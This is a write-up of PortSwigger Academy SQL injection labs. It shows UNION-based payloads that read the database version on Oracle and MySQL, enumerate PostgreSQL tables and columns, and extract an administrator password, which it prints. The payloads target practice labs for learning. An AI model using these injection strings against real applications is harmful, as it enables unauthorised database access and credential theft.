

PortSwigger Academy- SQL Injection

- Author: [Mateusz Gluchowski](#)
- Site: [PortSwigger Academy](#)

Lab: SQL injection attack, querying the database type and version on Oracle

Steps:

1. Determining amount of columns by using our script `columns_amount.py`.

```
python3 columns_amount.py --url  
https://0aaa00a503c074e683b2504f00b50012.web-security-academy.net/ --  
param category --amount 6
```

2. Looking into Oracle DB documentation to find the way how to determine the version.

```
SQL>  
SQL>  
SQL> select banner from v$version;  
  
BANNER  
-----  
Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product  
PL/SQL Release 10.2.0.1.0 - Production  
CORE 10.2.0.1.0 Production  
TNS for 32-bit Windows: Version 10.2.0.1.0 - Production  
NLSRTL Version 10.2.0.1.0 - Production  
  
SQL>
```

3. Preparing the payload:

```
' UNION SELECT banner, null FROM v$version -- -
```

4. Sending the request and completing the lab.

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

Steps:

1. Using our script (`columns_amount.py`) to determine amount of columns:

```
python3 columns_amount.py --url
https://0a5b005e038c2686836637ae00cd00c9.web-security-
academy.net/filter?category=Accessories --param category --amount 5
```

2. Checking Microsoft documentation on determining DB version:
 - <https://learn.microsoft.com/en-us/troubleshoot/sql/releases/find-my-sql-version>
3. Preparing the payload:

```
' UNION SELECT @@version, null-- -
```

4. Sending the payload and completing the lab.

Lab: SQL injection attack, listing the database contents on non-Oracle databases

1. Determining amount of columns and type of DB:

```
└─(hue1337@kali)-[~/.../GitHub/Portswigger-
Academy/SQL_Injection/Scripts]
└─$ python3 columns_amount.py --url
https://0a5e00b003f6855980da8aa50037006c.web-security-academy.net/ --
param category --amount 4
https://0a5e00b003f6855980da8aa50037006c.web-security-
academy.net/filter?category=%27%20order%20by%2010--%20-
[+] Amount of columns: 2
[+] Postgre
```

2. From the PostgreSQL Docs we find out how to list the tables:

```
select * from information_schema.tables
```

3. We can see table `users_xljros`. We gonna extract the password using following payloads:

```
' union select column_name,null from information_schema.columns where  
table_name='users_xljros'-- -
```

```
' union select password_wymahi, null from users_xljros where  
username_nbyctx='administrator'-- -
```

4. The password is: `gihs1spbm0jq86ghgc07`